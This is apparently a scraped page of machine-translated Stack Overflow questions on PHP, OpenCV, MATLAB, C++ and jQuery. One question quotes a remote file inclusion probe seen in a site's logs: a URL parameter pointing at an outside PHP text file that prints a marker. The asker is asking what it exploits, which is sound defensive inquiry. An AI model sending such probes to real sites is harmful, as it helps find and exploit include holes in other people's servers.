小编dyn*_*mic的帖子

PHP错误日志显示1768776801行上的警告

我在我的错误日志中找到了这个(注意:我没有删除文件名)

http://img408.imageshack.us/img408/5165/immaginemzt.png

当然我没有任何带有1行的脚本.

PHP Version 5.3.3-7
Apache 2
Run Code Online (Sandbox Code Playgroud)

另一个奇怪的是我有一个

set_error_handler( 'myHandler' );
Run Code Online (Sandbox Code Playgroud)

要在错误日志中写入其他信息,但有了这个错误,似乎PHP只是忽略了我的error_handler.在我打电话之前,我没有任何可以生成此错误的代码set_error_handler

编辑

  • 64位的Debian
  • 我没有编辑,在错误日志中没有任何文件名,实际上我不知道哪个脚本导致这个.
  • 我安装了APC

php debugging

16
推荐指数
1
解决办法
406
查看次数

带有ORB描述符的opencv FLANN?

我试图使用带有ORB描述符的FLANN,但opencv崩溃了这个简单的代码:

vector<vector<KeyPoint> > dbKeypoints;
vector<Mat> dbDescriptors;
vector<Mat> objects;   

/*
  load Descriptors from images (with OrbDescriptorExtractor())
*/

FlannBasedMatcher matcher;

matcher.add(dbDescriptors); 
matcher.train() //> Crash!
Run Code Online (Sandbox Code Playgroud)

如果我使用SurfDescriptorExtractor()它效果很好.

我怎么解决这个问题?

OpenCV说:

OpenCV Error: Unsupported format or combination of formats (type=0
) in unknown function, file D:\Value\Personal\Parthenope\OpenCV\modules\flann\sr
c\miniflann.cpp, line 299
Run Code Online (Sandbox Code Playgroud)

c++ opencv surf sift

16
推荐指数
4
解决办法
2万
查看次数

神经网络:激活函数与传递函数

似乎激活和传递函数之间存在一些混淆.来自维基百科ANN:

在此输入图像描述

似乎传递函数计算网络,而激活函数是神经元的输出.但是在Matlab的激活函数文档中我引用:

satlin(N,FP)是神经传递函数.传递函数从其净输入计算图层的输出.

那么谁是对的?你可以互换地使用术语激活功能或传递功能吗?

matlab artificial-intelligence machine-learning neural-network

16
推荐指数
2
解决办法
7163
查看次数

如果有imageCreateFromString,为什么会有imageCreateFrom*?

我真的不明白为什么GD有不同的功能来加载图像,如:

imagecreatefromjpeg() 
imagecreatefrompng() 
imagecreatefromgif()  
Run Code Online (Sandbox Code Playgroud)

虽然图像是字符串,但只有一个功能?

imagecreatefromstring()
Run Code Online (Sandbox Code Playgroud)

实际上,将图像读入字符串并将其传递给函数会更好,例如:

$imgBlob = file_get_contents($imagePath);
imagecreatefromstring($imageBlob);
unset($imgBlob);  //> Free memory, but I am not interested in memory consumpation
Run Code Online (Sandbox Code Playgroud)

?或者我错过了什么?这可能会导致新用户的混淆

也许他们只是忘了创建一个函数imageCreateFromFile()

PS.当然我对使用该file_get_contents方法的内存消耗不感兴趣

php gd image

15
推荐指数
1
解决办法
7466
查看次数

auto&的含义:

我明白自动意味着类型扣除.我从来没有看到它被用作auto&,而且我不明白:在这个短代码中做了什么.

#include <iostream>
#include <vector>
#include <thread>

void PrintMe() {
    std::cout << "Hello from thread: " << std::this_thread::get_id() << std::endl;
}

int main() {
    std::vector<std::thread> threads;
    for(unsigned int i = 0; i < 5; i++) {
        threads.push_back(std::thread(PrintMe));
    }

    for(auto& thread : threads) {
        thread.join();
    }

    return 0;
}
Run Code Online (Sandbox Code Playgroud)

我猜这是替代的某种合成糖

for(std::vector<std::thread>::iterator it = threads.begin(); it != threads.end(); it++ ) {
    (*it).join();
}
Run Code Online (Sandbox Code Playgroud)

但我不明白这种语法是如何工作的,以及那个&符号在那里做了什么.

c++ syntax

15
推荐指数
1
解决办法
2万
查看次数

image/pjpeg和image/jpeg

你知道我是否可以向浏览器发送MIME类型,image/jpeg即使我输出的图像是image/Pjpeg?或者它们的格式不同?

php browser image header

14
推荐指数
1
解决办法
3万
查看次数

获取目录中的最后修改文件

有没有办法只选择目录中的最后一个文件(扩展名jpg|png|gif?)

或者我是否必须解析整个目录并检查使用filemtime

php

14
推荐指数
2
解决办法
3万
查看次数

这个黑客想要利用什么错误?

一个名叫ShiroHige的人试图攻击我的网站.

他试图用这个参数打开一个页面:

mysite/dir/nalog.php?path=http://smash2.fileave.com/zfxid1.txt???
Run Code Online (Sandbox Code Playgroud)

如果你查看那个文本文件,它只是一个die(),

<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>
Run Code Online (Sandbox Code Playgroud)

那么他试图使用什么漏洞(WordPress?)?

编辑1:

我知道他正在尝试使用RFI.

是否有一些可利用的流行脚本(Drupal,phpBB等)?

php

13
推荐指数
2
解决办法
1848
查看次数

按某些列值过滤Matrix

考虑我有这个矩阵:

   02, 04, 06, 08, 10, 2
   07, 14, 21, 28, 35, 2
   11, 22, 33, 44, 55, 0
   15, 14, 21, 28, 35, 2
Run Code Online (Sandbox Code Playgroud)

我想有相同的矩阵,但只有最后一行column = 2.所以我想要这个矩阵:

   02, 04, 06, 08, 10, 2
   07, 14, 21, 28, 35, 2
   15, 14, 21, 28, 35, 2
Run Code Online (Sandbox Code Playgroud)

我可以解析所有矩阵,但还有其他方法吗?

编辑

更确切地说,我有一个带字符串的单元格数组:

   02, 04, Some String, 08, 10, 2
   07, 14, Some String1, 28, 35, 2
   11, 22, Some String1, 44, 55, 0
   15, 14, Some String, 28, 35, 2
Run Code Online (Sandbox Code Playgroud)

matlab matrix

13
推荐指数
1
解决办法
2万
查看次数

仅从jquery选择中删除第一个元素

<div class="box"></div>
<div class="box"></div> <!-- Hide -->
<div class="box"></div> <!-- Hide -->
<div class="box"></div> <!-- Hide -->
Run Code Online (Sandbox Code Playgroud)

我需要隐藏所有这个div而不是第一个div.

我可以这样做:

jQuery('.box').hide();
jQuery('.box').first().show();
Run Code Online (Sandbox Code Playgroud)

有没有办法.box.hide()em 之前从数组中删除第一个?

javascript jquery

12
推荐指数
3
解决办法
2万
查看次数